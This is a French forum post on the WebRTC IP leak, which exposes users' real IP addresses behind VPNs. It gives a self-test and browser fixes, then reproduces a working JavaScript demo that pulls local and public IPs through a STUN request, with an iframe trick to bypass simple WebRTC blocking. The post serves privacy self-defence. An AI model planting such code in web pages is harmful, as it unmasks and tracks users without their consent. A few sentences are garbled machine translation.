Λ
Salut les potos est oui je suis revenue avec mes grand textes
:dessu:
:dessu:
Faille WebRTC pour les VPN ( réseau IP )
Meme sous VPN il est possible d'avoir vos vrais ip's ,
Explication
Êtes vous bien planqué ou pas derrière votre proxy, votre VPN ou votre réseau Tor / Freenet / i2P ?
Difficile à dire surtout depuis que Daniel Roesler a découvert une faiblesse dans le protocoleWebRTC qui permet grâce à un peu d'astuce et de JavaScript, de récupérer l'adresse IP locale et publique de l'internaute.
Alors, comment être certain que vous êtes bien caché derrière votre VPN ? C'est simple...

- 1/ Vous allez sur WhatIsMyIp sans VPN et vous notez votre adresse IP publique . :matrx:
- 2/ Vous activez votre VPN et vous retournez sur WhatIsMyIp. Vous devriez voir alors l'adresse IP derrière laquelle vous êtes caché.
- 3/ Vous vous rendez Cette Page qui exploite la faiblesse WebRTC et qui vous donnera votre adresse publique et locale telle qu'elle est diffusée en direct par le navigateur via WebRTC
surprenant ? Vive les Faille :haha1: .

Si au contraire, l'IP remontée par la page WebRTC est la même que celle de votre VPN, vous êtes plutôt tranquille.
Ce genre de faiblesse pourrait permettre de continuer à traquer les internautes, peu importe les moyens de filtrage ou de contournement mis en place. :choqué:Pour se protéger de ce problème, il n'existe pas 36 000 solutions . Soit vous mettez en place un vrai VPN comme je vous l'ai déjà expliqué . Soit vous désactivez ou bloquez l'usage du WebRTC sur votre navigateur. :bravo:
:attention:Attention :attention:, aucune extension comme Ghostery ou bloqueurs de pub n'est efficace contre cette faiblesse. :con:
Pour Firefox, vous pouvez au choix installer cette extension qui désactive WebRTC, soit vous rendre dans about:config et chercher l'option "media.peerconnection.enabled" pour la passer à :fleche:"False".
Sous Chrome seule l'installation de l'extension :fleche:WEBRTC vous préservera de ce problème de fuite.
Firefox et Chrome ont mis en œuvre WebRTC qui permettent aux demandes d'étourdir serveurs être qui renverra les adresses IP locales et publiques pour l'utilisateur. Ces résultats de demande sont disponibles à javascript, donc vous pouvez désormais obtenir un utilisateur des adresses IP locales et publiques en javascript. Cette démo est un exemple d'implémentation de cela.
En outre, ces demandes STUN sont prises en dehors de la procédure de XMLHttpRequest normale, de sorte qu'ils ne sont pas visibles dans la console développeur ou capable d'être bloqué par des plugins tels que AdBlockPlus ou Ghostery. Ce qui rend ces types de requêtes disponibles pour le suivi en ligne si un annonceur met en place un serveur STUN avec un domaine générique.:attention:
Voici la fonction de démonstration annotée qui fait la demande STUN. Vous pouvez copier et coller dans la console développeur Firefox ou Chrome pour exécuter le test.
Code:
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}
//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});
:fleche:Bref, gaffe à vous :attention:
Merci d'éviter de poster se topic est les autres sur d'autre forums Merci
:acoeur1:
:acoeur1:
Dernière édition par un modérateur:
